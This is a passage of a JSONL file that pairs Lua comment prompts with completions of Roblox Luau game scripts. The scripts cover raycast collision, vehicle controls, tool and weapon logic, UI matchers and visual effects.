then\n\t\t\t\tlocal time, timeMax = getLineSphereCollide(start, vector, model.Position, halfSize.x)\n\t\t\t\tif (time < 1) and (time >= 0) then\n\t\t\t\t\treturn model, (time * vector + start - model.Position), time\n\t\t\t\telse\n\t\t\t\t\treturn nil, Vector3.new(0, 0, 0), 1\n\t\t\t\tend\n\t\t\telseif (model.Shape == Enum.PartType.Block) then\n\t\t\t\tlocal time = 1\n\t\t\t\tlocal cf = model.CFrame - model.Position\n\t\t\t\tlocal xvec = cf * Vector3.new(1, 0, 0)\n\t\t\t\tlocal yvec = cf * Vector3.new(0, 1, 0)\n\t\t\t\tlocal zvec = cf * Vector3.new(0, 0, 1)\n\t\t\t\tlocal xspd = -dot(xvec, vector)\n\t\t\t\tlocal yspd = -dot(yvec, vector)\n\t\t\t\tlocal zspd = -dot(zvec, vector)\n\t\t\t\tlocal xmin, xmax, ymin, ymax, zmin, zmax = -1\n\t\t\t\tlocal dotProd = dot(xvec, start - model.Position)\n\t\t\t\tif (xspd ~= 0) then\n\t\t\t\t\txmin = (dotProd - halfSize.x) / xspd\n\t\t\t\t\txmax = (dotProd + halfSize.x) / xspd\n\t\t\t\t\tif (xmax < xmin) then\n\t\t\t\t\t\tlocal swap = xmin\n\t\t\t\t\t\txmin = xmax\n\t\t\t\t\t\txmax = swap\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tif (math.abs(dotProd) < halfSize.x) then\n\t\t\t\t\t\txmax = 1\n\t\t\t\t\t\txmin = 0\n\t\t\t\t\telse\n\t\t\t\t\t\treturn nil, Vector3.new(0, 0, 0), 1\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tlocal dotProd = dot(yvec, start - model.Position)\n\t\t\t\tif (yspd ~= 0) then\n\t\t\t\t\tymin = (dotProd - halfSize.y) / yspd\n\t\t\t\t\tymax = (dotProd + halfSize.y) / yspd\n\t\t\t\t\tif (ymax < ymin) then\n\t\t\t\t\t\tlocal swap = ymin\n\t\t\t\t\t\tymin = ymax\n\t\t\t\t\t\tymax = swap\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tif (math.abs(dotProd) < halfSize.y) then\n\t\t\t\t\t\tymax = 1\n\t\t\t\t\t\tymin = 0\n\t\t\t\t\telse\n\t\t\t\t\t\treturn nil, Vector3.new(0, 0, 0), 1\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tlocal dotProd = dot(zvec, start - model.Position)\n\t\t\t\tif (zspd ~= 0) then\n\t\t\t\t\tzmin = (dotProd - halfSize.z) / zspd\n\t\t\t\t\tzmax = (dotProd + halfSize.z) / zspd\n\t\t\t\t\tif (zmax < zmin) then\n\t\t\t\t\t\tlocal swap = zmin\n\t\t\t\t\t\tzmin = zmax\n\t\t\t\t\t\tzmax = swap\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tif (math.abs(dotProd) < halfSize.z) then\n\t\t\t\t\t\tzmax = 1\n\t\t\t\t\t\tzmin = 0\n\t\t\t\t\telse\n\t\t\t\t\t\treturn nil, Vector3.new(0, 0, 0), 1\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tif (xmin <= ymax) and (xmax >= ymin) and (xmin <= zmax) and (xmax >= zmin) and (zmin <= ymax) and (zmax >= ymin) then\n\t\t\t\t\tlocal normal = xvec\n\t\t\t\t\tlocal min = xmin\n\t\t\t\t\tif (ymin > min) then\n\t\t\t\t\t\tmin = ymin\n\t\t\t\t\t\tnormal = yvec\n\t\t\t\t\tend\n\t\t\t\t\tif (zmin > min) then\n\t\t\t\t\t\tmin = zmin\n\t\t\t\t\t\tnormal = zvec\n\t\t\t\t\tend\n\t\t\t\t\tif (min >= 0) and (min < 1) then\n\t\t\t\t\t\ttime = min\n\t\t\t\t\telseif (xmax > 0) and (ymax > 0) and (zmax > 0) and (min < 0) then\n\t\t\t\t\t\ttime = 0\n\t\t\t\t\t\tnormal = Vector3.new(0, 0, 0)\n\t\t\t\t\tend\n\t\t\t\t\treturn model, normal, time\n\t\t\t\telse\n\t\t\t\t\treturn nil, Vector3.new(0, 0, 0), 1\n\t\t\t\tend\n\t\t\telse\t--\tCylinder\n\t\t\t\tlocal time = 1\n\t\t\t\tlocal cf = model.CFrame - model.Position\n\t\t\t\tlocal xvec = cf * Vector3.new(1, 0, 0)\n\t\t\t\tlocal xspd = -dot(xvec, vector)\n\t\t\t\tlocal xmin, xmax = -1\n\t\t\t\tlocal dotProd = dot(xvec, start - model.Position)\n\t\t\t\tif (xspd ~= 0) then\n\t\t\t\t\txmin = (dotProd - halfSize.x) / xspd\n\t\t\t\t\txmax = (dotProd + halfSize.x) / xspd\n\t\t\t\t\tif (xmax < xmin) then\n\t\t\t\t\t\tlocal swap = xmin\n\t\t\t\t\t\txmin = xmax\n\t\t\t\t\t\txmax = swap\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tif (math.abs(dotProd) < halfSize.x) then\n\t\t\t\t\t\txmax = 1\n\t\t\t\t\t\txmin = 0\n\t\t\t\t\telse\n\t\t\t\t\t\treturn nil, Vector3.new(0, 0, 0), 1\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\tlocal relVec = cf:pointToObjectSpace(vector) * Vector3.new(0, 1, 1)\n\t\t\t\tlocal relPos = model.CFrame:pointToObjectSpace(start) * Vector3.new(0, 1, 1)\n\t\t\t\tlocal rmin, rmax = getLineSphereCollide(relPos, relVec, Vector3.new(0, 0, 0), halfSize.y)\n\t\t\t\tif (xmin <= rmax) and (xmax >= rmin) and (rmax > 0) then\n\t\t\t\t\tlocal normal = xvec\n\t\t\t\t\tlocal min = xmin\n\t\t\t\t\tif (rmin > min) then\n\t\t\t\t\t\tmin = rmin\n\t\t\t\t\t\tnormal = cf * (relPos + relVec * min)\n\t\t\t\t\tend\n\t\t\t\t\tif (min >= 0) and (min < 1) then\n\t\t\t\t\t\ttime = min\n\t\t\t\t\telseif (xmax > 0) and (rmax > 0) and (min < 0) then\n\t\t\t\t\t\ttime = 0\n\t\t\t\t\t\tnormal = Vector3.new(0, 0, 0)\n\t\t\t\t\tend\n\t\t\t\t\treturn model, normal, time\n\t\t\t\telse\n\t\t\t\t\treturn nil, Vector3.new(0, 0, 0), 1\n\t\t\t\tend\n\t\t\t\treturn nil, Vector3.new(0, 0, 0), 1\n\t\t\tend\n\t\tend\n\t\treturn nil, Vector3.new(0, 0, 0), 1\n\telseif (model.className==\"Model\") or (model.className==\"Workspace\") or (model.className==\"Hat\") or (model.className == \"Tool\") then\n\t\tlocal children=model:GetChildren()\n\t\tlocal time=1\n\t\tlocal normal=Vector3.new(0, 0, 0)\n\t\tlocal hit=nil\n\t\tfor n = 1, #children do\n\t\t\tif children[n]~= nil then\n\t\t\t\tlocal newHit, newNormal, newTime = raycastRecursive(children[n], start, vector, brickFunction, unitVec, startDist)\n\t\t\t\tif (newTime < time) then\n\t\t\t\t\ttime = newTime\n\t\t\t\t\thit = newHit\n\t\t\t\t\tnormal = newNormal\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\treturn hit, normal, time\n\telse\n\t\treturn nil, Vector3.new(0, 0, 0), 1\n\tend\nend"} +{"prompt": "--Electric Music--", "completion": "\n\nlocal function AttachParticleControl(source_part)\n\t\n\tlocal prtc = nil\n\t\n\tlocal function Start()\n\t\tprtc = script.Bolt:clone()\n\t\tprtc.Parent = source_part\n\tend\n\t\n\tlocal function Update()\n\t\t\n\tend\n\t\n\tlocal function Stop()\n\t\tif prtc ~= nil then\n\t\t\tprtc:destroy()\n\t\t\tprtc = nil\n\t\tend\n\tend\n\t\n\treturn {Start = Start, Update = Update, Stop = Stop}\nend\n\nreturn AttachParticleControl\n"} +{"prompt": "-- Location: game.ReplicatedStorage.Consume\n-- Synapse Decompiler\n-- Purchase Here: https://brack4712.xyz/synapse/purchase/", "completion": "\n\nwait(0.5)\nTool = script.Parent\nlocal play = game.Players.LocalPlayer\nlocal char = play.Character\nlocal root = char:WaitForChild(\"HumanoidRootPart\")\nlocal hum = char:WaitForChild(\"Humanoid\")\nlocal inair = false\nchar.Humanoid.FreeFalling:connect(function()\n\tinair = true\nend)\nchar.Humanoid.Running:connect(function()\n\tinair = false\nend)\nfunction weldTogether(x, y)\n\tlocal W = Instance.new(\"Weld\")\n\tW.Part0 = x\n\tW.Part1 = y\n\tlocal CJ = CFrame.new(x.Position)\n\tlocal C0 = x.CFrame:inverse() * CJ\n\tlocal C1 = y.CFrame:inverse() * CJ\n\tW.C0 = C0\n\tW.C1 = C1\n\tW.Parent = x\n\treturn W\nend\nen = true\nfunction onButton1Down(mouse)\n\tif en == true and inair == false and root.Position.y > 1 then\n\t\ten = false\n\t\tlocal point = root.Position + mouse.Hit.lookVector * 100\n\t\tlocal can = Tool.Handle:clone()\n\t\tcan.Anchored = true\n\t\tcan.CFrame = CFrame.new(root.Position, point)\n\t\tlocal nm = Instance.new(\"IntValue\")\n\t\tnm.Name = \"Speed\"\n\t\tnm.Value = -10000\n\t\tif hum:findFirstChild(\"Effects\") then\n\t\t\tnm.Parent = hum:findFirstChild(\"Effects\")\n\t\tend\n\t\tcan.Parent = root\n\t\tTool.Handle.Transparency = 1\n\t\tcan.Fuse:Play()\n\t\tlocal weld = weldTogether(can, root)\n\t\twait(5)\n\t\tweld:Destroy()\n\t\tcan.Fuse:Stop()\n\t\tcan.Boom:Play()\n\t\tif hum then\n\t\t\thum.Sit = true\n\t\tend\n\t\troot.Velocity = CFrame.new(root.Position, point).lookVector * 250\n\t\tlocal e = Instance.new(\"Explosion\")\n\t\te.BlastPressure = 0\n\t\te.Position = (can.CFrame * CFrame.new(0, 0, 2)).p\n\t\te.Parent = can\n\t\twait(1)\n\t\tnm.Parent = nil\n\t\tcan:Destroy()\n\t\twait(10)\n\t\tTool.Handle.Transparency = 0\n\t\ten = true\n\tend\nend\nfunction Equip(mouse)\n\tmouse.Icon = \"rbxasset://textures\\\\GunCursor.png\"\n\tmouse.Button1Down:connect(function()\n\t\tonButton1Down(mouse)\n\tend)\nend\nfunction Unequip(mouse)\nend\nscript.Parent.Equipped:connect(Equip)\nscript.Parent.Unequipped:connect(Unequip)\n"} +{"prompt": "--[[Controls]]", "completion": "\n\n\tlocal _CTRL = _Tune.Controls\n\tlocal Controls = Instance.new(\"Folder\",script.Parent)\n\tControls.Name = \"Controls\"\n\tfor i,v in pairs(_CTRL) do\n\t\tlocal a=Instance.new(\"StringValue\",Controls)\n\t\ta.Name=i\n\t\ta.Value=v.Name\n\t\ta.Changed:connect(function()\n\t\t\tif i==\"MouseThrottle\" or i==\"MouseBrake\" then\n\t\t\t\tif a.Value == \"MouseButton1\" or a.Value == \"MouseButton2\" then\n\t\t\t\t\t_CTRL[i]=Enum.UserInputType[a.Value]\n\t\t\t\telse\n\t\t\t\t\t_CTRL[i]=Enum.KeyCode[a.Value]\n\t\t\t\tend\n\t\t\telse\n\t\t\t\t_CTRL[i]=Enum.KeyCode[a.Value]\n\t\t\tend\n\t\tend)\n\tend\n\t\n\t--Deadzone Adjust\n\tlocal _PPH = _Tune.Peripherals\n\t\tfor i,v in pairs(_PPH) do\n\t\tlocal a = Instance.new(\"IntValue\",Controls)\n\t\ta.Name = i\n\t\ta.Value = v\n\t\ta.Changed:connect(function() \n\t\t\ta.Value=math.min(100,math.max(0,a.Value))\n\t\t\t_PPH[i] = a.Value\n\t\tend)\n\tend\n\t\n\t--Input Handler\n\tfunction DealWithInput(input,IsRobloxFunction)\n\t\tif (UserInputService:GetFocusedTextBox()==nil) and not _InControls then --Ignore when UI Focus\n\t\t\t--Shift Down [Manual Transmission]\n\t\t\tif _IsOn and (input.KeyCode ==_CTRL[\"ContlrShiftDown\"] or (_MSteer and input.KeyCode==_CTRL[\"MouseShiftDown\"]) or ((not _MSteer) and input.KeyCode==_CTRL[\"ShiftDown\"])) and (_TMode==\"Semi\" or (_TMode==\"Manual\" and (not _ClutchOn))) and input.UserInputState == Enum.UserInputState.Begin then\n\t\t\t\tif _CGear == 0 and (_TMode==\"Auto\" or not _ClPressing) then _ClutchOn = true end\n\t\t\t\tif _CGear ~= 0 and (_CGear ~= ((#_Tune.Ratios-3)-(#_Tune.Ratios-2))) then\n\t\t\t\t_GThrotShift = 0\n\t\t\t\twait(_Tune.ShiftTime/2)\n\t\t\t\t_GThrotShift = 1\n\t\t\t\tend\n\t\t\t\t_CGear = math.max(_CGear-1,-1)\n\t\t\t\t_ClutchOn = true\n\t\t\t\t\n\t\t\t--Shift Up [Manual Transmission]\n\t\t\telseif _IsOn and (input.KeyCode ==_CTRL[\"ContlrShiftUp\"] or (_MSteer and input.KeyCode==_CTRL[\"MouseShiftUp\"]) or ((not _MSteer) and input.KeyCode==_CTRL[\"ShiftUp\"])) and (_TMode==\"Semi\" or (_TMode==\"Manual\" and (not _ClutchOn))) and input.UserInputState == Enum.UserInputState.Begin then\n\t\t\t\tif _CGear == 0 and (_TMode==\"Auto\" or not _ClPressing) then _ClutchOn = true end\n\t\t\t\tif (_CGear ~= 0) and (_CGear ~= #_Tune.Ratios-2) then\n\t\t\t\t_GThrotShift = 0\n\t\t\t\twait(_Tune.ShiftTime)\n\t\t\t\t_GThrotShift = 1\n\t\t\t\tend\n\t\t\t\t_CGear = math.min(_CGear+1,#_Tune.Ratios-2)\n\t\t\t\t_ClutchOn = true\n\t\t\t\t\n\t\t\t--Toggle Clutch\n\t\t\telseif _IsOn and (input.KeyCode ==_CTRL[\"ContlrClutch\"] or (_MSteer and input.KeyCode==_CTRL[\"MouseClutch\"]) or ((not _MSteer) and input.KeyCode==_CTRL[\"Clutch\"])) and _TMode==\"Manual\" then\n\t\t\t\tif input.UserInputState == Enum.UserInputState.Begin then\n\t\t\t\t\t_ClutchOn = false\n\t\t\t\t\t_ClPressing = true\n\t\t\t\telseif input.UserInputState == Enum.UserInputState.End then\n\t\t\t\t\t_ClutchOn = true\n\t\t\t\t\t_ClPressing = false\n\t\t\t\tend\n\t\t\t\t\n\t\t\t--Toggle PBrake\n\t\t\telseif _IsOn and input.KeyCode ==_CTRL[\"ContlrPBrake\"] or (_MSteer and input.KeyCode==_CTRL[\"MousePBrake\"]) or ((not _MSteer) and input.KeyCode==_CTRL[\"PBrake\"]) then\n\t\t\t\tif input.UserInputState == Enum.UserInputState.Begin then\n\t\t\t\t\t_PBrake = not _PBrake\n\t\t\t\telseif input.UserInputState == Enum.UserInputState.End then\n\t\t\t\t\tif car.DriveSeat.Velocity.Magnitude>5 then\n\t\t\t\t\t\t_PBrake = false\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\t\n\t\t\t--Toggle Transmission Mode\n\t\t\telseif (input.KeyCode == _CTRL[\"ContlrToggleTMode\"] or input.KeyCode==_CTRL[\"ToggleTransMode\"]) and input.UserInputState == Enum.UserInputState.Begin then\n\t\t\t\tlocal n=1\n\t\t\t\tfor i,v in pairs(_Tune.TransModes) do\n\t\t\t\t\tif v==_TMode then n=i break end\n\t\t\t\tend\n\t\t\t\tn=n+1\n\t\t\t\tif n>#_Tune.TransModes then n=1 end\n\t\t\t\t_TMode = _Tune.TransModes[n]\n\t\t\t\t\n\t\t\t--Throttle\n\t\t\telseif _IsOn and ((not _MSteer) and (input.KeyCode==_CTRL[\"Throttle\"] or input.KeyCode == _CTRL[\"Throttle2\"])) or ((((_CTRL[\"MouseThrottle\"]==Enum.UserInputType.MouseButton1 or _CTRL[\"MouseThrottle\"]==Enum.UserInputType.MouseButton2) and input.UserInputType == _CTRL[\"MouseThrottle\"]) or input.KeyCode == _CTRL[\"MouseThrottle\"])and _MSteer) then\n\t\t\t\tif input.UserInputState == Enum.UserInputState.Begin then\n\t\t\t\t\t_GThrot = 1\n\t\t\t\telse\n\t\t\t\t\t_GThrot = _Tune.IdleThrottle/100\n\t\t\t\tend\n\t\t\t\t\n\t\t\t--Brake\n\t\t\telseif ((not _MSteer) and (input.KeyCode==_CTRL[\"Brake\"] or input.KeyCode == _CTRL[\"Brake2\"])) or ((((_CTRL[\"MouseBrake\"]==Enum.UserInputType.MouseButton1 or _CTRL[\"MouseBrake\"]==Enum.UserInputType.MouseButton2) and input.UserInputType == _CTRL[\"MouseBrake\"]) or input.KeyCode == _CTRL[\"MouseBrake\"])and _MSteer) then\n\t\t\t\tif input.UserInputState == Enum.UserInputState.Begin then\n\t\t\t\t\t_GBrake = 1\n\t\t\t\telse\n\t\t\t\t\t_GBrake = 0\n\t\t\t\tend\n\t\t\t\t\n\t\t\t--Steer Left\n\t\t\telseif (not _MSteer) and (input.KeyCode==_CTRL[\"SteerLeft\"] or input.KeyCode == _CTRL[\"SteerLeft2\"]) then\n\t\t\t\tif input.UserInputState == Enum.UserInputState.Begin then\n\t\t\t\t\t_GSteerT = -1\n\t\t\t\t\t_SteerL = true\n\t\t\t\telse\n\t\t\t\t\tif _SteerR then\n\t\t\t\t\t\t_GSteerT = 1\n\t\t\t\t\telse\n\t\t\t\t\t\t_GSteerT = 0\n\t\t\t\t\tend\n\t\t\t\t\t_SteerL = false\n\t\t\t\tend\n\t\t\t\t\n\t\t\t--Steer Right\n\t\t\telseif (not _MSteer) and (input.KeyCode==_CTRL[\"SteerRight\"] or input.KeyCode == _CTRL[\"SteerRight2\"]) then\n\t\t\t\tif input.UserInputState == Enum.UserInputState.Begin then\n\t\t\t\t\t_GSteerT = 1\n\t\t\t\t\t_SteerR = true\n\t\t\t\telse\n\t\t\t\t\tif _SteerL then\n\t\t\t\t\t\t_GSteerT = -1\n\t\t\t\t\telse\n\t\t\t\t\t\t_GSteerT = 0\n\t\t\t\t\tend\n\t\t\t\t\t_SteerR = false\n\t\t\t\tend\n\t\t\t\t\n\t\t\t--Toggle Mouse Controls\n\t\t\telseif input.KeyCode ==_CTRL[\"ToggleMouseDrive\"] then\n\t\t\t\tif input.UserInputState == Enum.UserInputState.End then\n\t\t\t\t\t_MSteer = not _MSteer\n\t\t\t\t\t_GThrot = _Tune.IdleThrottle/100\n\t\t\t\t\t_GBrake = 0\n\t\t\t\t\t_GSteerT = 0\n\t\t\t\t\t_ClutchOn = true\n\t\t\t\tend\n\t\t\t\t\n\t\t\t--Toggle TCS\n\t\t\telseif _Tune.TCSEnabled and _IsOn and input.KeyCode == _CTRL[\"ToggleTCS\"] or input.KeyCode == _CTRL[\"ContlrToggleTCS\"] then\n\t\t\t\tif input.UserInputState == Enum.UserInputState.End then\n\t\t\t\t\t_TCS = not _TCS\n\t\t\t\tend\n\t\t\t\n\t\t\t--Toggle ABS\n\t\t\telseif _Tune. ABSEnabled and _IsOn and input.KeyCode == _CTRL[\"ToggleABS\"] or input.KeyCode == _CTRL[\"ContlrToggleABS\"] then\n\t\t\t\tif input.UserInputState == Enum.UserInputState.End then\n\t\t\t\t\t_ABS = not _ABS\n\t\t\t\tend\n\t\t\tend\n\t\t\t\n\t\t\t--Variable Controls\n\t\t\tif input.UserInputType.Name:find(\"Gamepad\") then\n\t\t\t\t--Gamepad Steering\n\t\t\t\tif input.KeyCode == _CTRL[\"ContlrSteer\"] then\n\t\t\t\t\tif input.Position.X>= 0 then\n\t\t\t\t\t\tlocal cDZone = math.min(.99,_Tune.Peripherals.ControlRDZone/100)\n\t\t\t\t\t\tif math.abs(input.Position.X)>cDZone then\n\t\t\t\t\t\t\t_GSteerT = (input.Position.X-cDZone)/(1-cDZone)\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t_GSteerT = 0\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\tlocal cDZone = math.min(.99,_Tune.Peripherals.ControlLDZone/100)\n\t\t\t\t\t\tif math.abs(input.Position.X)>cDZone then\n\t\t\t\t\t\t\t_GSteerT = (input.Position.X+cDZone)/(1-cDZone)\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t_GSteerT = 0\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t--Gamepad Throttle\n\t\t\t\telseif _IsOn and input.KeyCode == _CTRL[\"ContlrThrottle\"] then\n\t\t\t\t\t_GThrot = math.max(_Tune.IdleThrottle/100,input.Position.Z)\n\t\t\t\t\t\n\t\t\t\t--Gamepad Brake\n\t\t\t\telseif input.KeyCode == _CTRL[\"ContlrBrake\"] then\n\t\t\t\t\t_GBrake = input.Position.Z\n\t\t\t\tend\n\t\t\tend\n\t\telse\n\t\t\t_GThrot = _Tune.IdleThrottle/100\n\t\t\t_GSteerT = 0\n\t\t\t_GBrake = 0\n\t\t\tif _CGear~=0 then _ClutchOn = true end\n\t\tend\n\tend\n\tUserInputService.InputBegan:connect(DealWithInput)\n\tUserInputService.InputChanged:connect(DealWithInput)\n\tUserInputService.InputEnded:connect(DealWithInput)\n\n\n"} +{"prompt": "--[=[\n\tUse to test that the right padding between the given GuiObject or Rect and the other GuiObject or Rect.\n\n\tThe last argument is optional. If nil, the matcher will pass only if the difference **right** edge of the given GuiObject or Rect and the **right** edge of the other GuiObject or Rect is zero or positive.\n\n\t```lua\n\t-- Jest\n\texpect(instanceA).toBeInsideLeftOf(instanceB)\n\texpect(instanceA).toBeInsideLeftOf(instanceB, 10)\n\texpect(instanceA).toBeInsideLeftOf(instanceB, NumberRange.new(0, 10))\n\t```\n\n\t```lua\n\t-- TestEZ\n\texpect(instanceA).to.be.insideLeftOf(instanceB)\n\texpect(instanceA).to.be.insideLeftOf(instanceB, 10)\n\texpect(instanceA).to.be.insideLeftOf(instanceB, NumberRange.new(0, 10))\n\t```\n\n\t@tag inside\n\t@within CollisionMatchers2D\n]=]", "completion": "\nlocal function insideLeftOf(a: GuiObject | Rect, b: GuiObject | Rect, distance: number | NumberRange)\n\tlocal aRect = toRect(a)\n\tlocal bRect = toRect(b)\n\n\tlocal distanceFromSide = -(aRect.Max - bRect.Max)\n\tif distance then\n\t\tif typeof(distance) == \"number\" then\n\t\t\tdistance = NumberRange.new(distance)\n\t\tend\n\n\t\treturn returnValue(\n\t\t\tdistance.Min <= distanceFromSide.X and distance.Max >= distanceFromSide.X,\n\t\t\t\"Was within range\",\n\t\t\t\"Was not within range ( \" .. tostring(distance) .. \")\"\n\t\t)\n\telse\n\t\treturn returnValue(distanceFromSide.X >= 0, \"Was not right of the element\", \"Was too far right of the element\")\n\tend\nend\n\nreturn insideLeftOf\n"} +{"prompt": "--// Check if they own a Pass that is given on Spawn", "completion": "\nlocal OnSpawn = function(Player)\n\tfor Index, PassTable in pairs(Passes) do\n\t\tif Owns:Invoke(Player, PassTable.Name) == true then\n\t\t\tGive(Player, PassTable.Give, false)\n\t\tend\n\tend\nend\n"} +{"prompt": "-- -- -- -- -- -- --\n--DIRECTION SCROLL--\n-- -- -- -- -- -- --", "completion": "\n\n\nLift:WaitForChild(\"Direction\").Changed:connect(function(val)\n if val == 1 then\n\t\tThis.Display.ARW1.U1.BrickColor = BrickColor.new(\"Institutional white\")\n\t\tThis.Display.ARW1.U2.BrickColor = BrickColor.new(\"Institutional white\")\n\t\tThis.Display.ARW1.M1.BrickColor = BrickColor.new(\"Institutional white\")\n\t\tThis.Display.ARW1.M2.BrickColor = BrickColor.new(\"Institutional white\")\n\t\tThis.Display.ARW1.D1.BrickColor = BrickColor.new(\"Cyan\")\n\t\tThis.Display.ARW1.D2.BrickColor = BrickColor.new(\"Cyan\")\n elseif val == -1 then\n\t\tThis.Display.ARW1.U1.BrickColor = BrickColor.new(\"Cyan\")\n\t\tThis.Display.ARW1.U2.BrickColor = BrickColor.new(\"Cyan\")\n\t\tThis.Display.ARW1.M1.BrickColor = BrickColor.new(\"Institutional white\")\n\t\tThis.Display.ARW1.M2.BrickColor = BrickColor.new(\"Institutional white\")\n\t\tThis.Display.ARW1.D1.BrickColor = BrickColor.new(\"Institutional white\")\n\t\tThis.Display.ARW1.D2.BrickColor = BrickColor.new(\"Institutional white\")\n\telse\n\t\tThis.Display.ARW1.U1.BrickColor = BrickColor.new(\"Cyan\")\n\t\tThis.Display.ARW1.U2.BrickColor = BrickColor.new(\"Cyan\")\n\t\tThis.Display.ARW1.M1.BrickColor = BrickColor.new(\"Cyan\")\n\t\tThis.Display.ARW1.M2.BrickColor = BrickColor.new(\"Cyan\")\n\t\tThis.Display.ARW1.D1.BrickColor = BrickColor.new(\"Cyan\")\n\t\tThis.Display.ARW1.D2.BrickColor = BrickColor.new(\"Cyan\")\n end\nend)\n"} +{"prompt": "--// Damage Settings\t", "completion": "\n\tBaseDamage = 80; -- Torso Damage\n\tLimbDamage = 60; -- Arms and Legs\n\tArmorDamage = 58; -- How much damage is dealt against armor (Name the armor \"Armor\")\n\tHeadDamage = 200; -- If you set this to 100, there's a chance the player won't die because of the heal script\t\n\t"} +{"prompt": "--Made by Luckymaxer", "completion": "\n\nDebris = game:GetService(\"Debris\")\nRunService = game:GetService(\"RunService\")\n\nCharacter = script.Parent\n\nHumanoid = Character:FindFirstChild(\"Humanoid\")\n\nSmoke = script:FindFirstChild(\"Smoke\")\n\nfunction DestroyScript()\n\tDebris:AddItem(script, 0.5)\nend\n\nif not Smoke or not Humanoid or Humanoid.Health > 0 then\n\treturn\nend\n\nPartsEffected = {}\n\nfor i, v in pairs(Character:GetChildren()) do\n\tif v:IsA(\"BasePart\") and v.Transparency < 1 then\n\t\tv.Velocity = (v.Velocity + (CFrame.Angles((math.random(-360, 360) * 0.01), (math.random(-360, 360) * 0.01), (math.random(-360, 360) * 0.01)).lookVector * math.random(1, 5)))\n\t\tv.RotVelocity = Vector3.new((math.random(-360, 360) * 0.01), (math.random(-360, 360) * 0.01), (math.random(-360, 360) * 0.01))\n\t\tfor ii, vv in pairs(v:GetChildren()) do\n\t\t\tif vv:IsA(\"ParticleEmitter\") then\n\t\t\t\tvv:Destroy()\n\t\t\tend\n\t\tend\n\t\tlocal SmokeEffect = Smoke:Clone()\n\t\tSmokeEffect.Enabled = true\n\t\tSmokeEffect.Parent = v\n\t\ttable.insert(PartsEffected, {Part = v, Smoke = SmokeEffect})\n\tend\nend\n\nFadeLoop = RunService.Stepped:connect(function(Time, Step)\n\tif #PartsEffected == 0 then\n\t\tif FadeLoop then\n\t\t\tFadeLoop:disconnect()\n\t\t\treturn\n\t\tend\n\telse\n\t\tfor i, v in pairs(PartsEffected) do\n\t\t\tif v.Part.Transparency < 1 then\n\t\t\t\tv.Part.Transparency = (v.Part.Transparency + 0.01)\n\t\t\t\tif v.Part.Transparency >= 1 then\n\t\t\t\t\tv.Smoke.Enabled = false\n\t\t\t\t\tDebris:AddItem(v.Part, 4)\n\t\t\t\tend\n\t\t\telse\n\t\t\t\ttable.remove(PartsEffected, i)\n\t\t\tend\n\t\tend\n\tend\nend)\n"} +{"prompt": "-----------------\n--| Constants |--\n-----------------", "completion": "\n\nlocal COOLDOWN = .7 -- Seconds until tool can be used again\n"} +{"prompt": "-- API facing functions", "completion": "\nevents.getCanvases.OnInvoke = getCanvases(contexts, services)\nevents.placeArt.OnInvoke = placeArt(contexts, services)\nevents.removeAllArt.OnInvoke = removeAllArt(contexts, services)\n"} +{"prompt": "-------------------------------------------", "completion": "\nlocal weld2 = Instance.new(\"Weld\")\nweld2.Part0 = torso\nweld2.Parent = torso\nweld2.Part1 = arms[2]\nweld2.C1 = CFrame.new(-0.4, 1.25, 0.5) * CFrame.fromEulerAnglesXYZ(math.rad(90),-0.25,0) --Right leg\narms[2].Name = \"RDave\"\narms[2].CanCollide = true\nwelds[2] = weld2"} +{"prompt": "-- Don't mess with anything below kthx --", "completion": "\n\nreturn {Settings,{Banned,Mods,Admins,SuperAdmins,Owners},Custom_Commands}\n"} +{"prompt": "-- constants", "completion": "\nlocal VERSION = 1\nlocal PROPERTY_ID = configuration.GOOGLE_ANALYTICS_TRACKING_ID\nlocal PLACE_ID = game.PlaceId\n"} +{"prompt": "--[=[\n\t@param name string\n\t@param inboundMiddleware ClientMiddleware?\n\t@param outboundMiddleware ClientMiddleware?\n\t@return ClientRemoteSignal\n\tReturns a new ClientRemoteSignal that mirrors the matching RemoteSignal created by\n\tServerComm with the same matching `name`.\n\n\t```lua\n\tlocal mySignal = clientComm:GetSignal(\"MySignal\")\n\n\t-- Listen for data from the server:\n\tmySignal:Connect(function(message)\n\t\tprint(\"Received message from server:\", message)\n\tend)\n\n\t-- Send data to the server:\n\tmySignal:Fire(\"Hello!\")\n\t```\n]=]", "completion": "\nfunction ClientComm:GetSignal(\n\tname: string,\n\tinboundMiddleware: Types.ClientMiddleware?,\n\toutboundMiddleware: Types.ClientMiddleware?\n)\n\treturn Comm.GetSignal(self._instancesFolder, name, inboundMiddleware, outboundMiddleware)\nend\n"} +{"prompt": "-- Reload animation", "completion": "\nfunction reload()\n\tif not reloading then\n\t\treloading=true;\n\t\tupdateAmmo()\n\t\tlocal reloadTime = tankStats.ReloadTime.Value;\t\n\n\t\tLoaded = false\n\n\t\tlocal Timer = 0\n\t\n\n\t\tfor i = 7, 1, -1 do\n\t\t\twait(reloadTime/8);\n\t\t\tTimer = Timer + 1\n\t\t\t\n\t\t\tif Timer >= 2 and Loaded == false then\n\t\t\t\tGUI.ReloadSound:Play()\n\t\t\t\tLoaded = true\n\t\t\tend\n\t\tend\n\t\twait(reloadTime/8);\n\n\n\t\tif Timer >= 7 then\n\t\t\n\t\tGUI.Loaded.Visible = true\t\n\t\t\n\t\t\n\t\t\n\t\tTimer = 0\n\t\t\treloading = false;\n\t\t\t\n\t\tend\n\t\t\n\t\t\n\tend\nend\n\nfunction fire()\n\tif reloading then return end;\n\t\n\tlocal APAmmo = tankStats.APAmmo;\n\tlocal HEAmmo = tankStats.HEAmmo;\n\t\n\tif currRound.Value == \"AP\" and APAmmo.Value <= 0 then return end\n\tif currRound.Value == \"HE\" and HEAmmo.Value <= 0 then return end\n\t\t\n\tif currRound.Value == \"AP\" 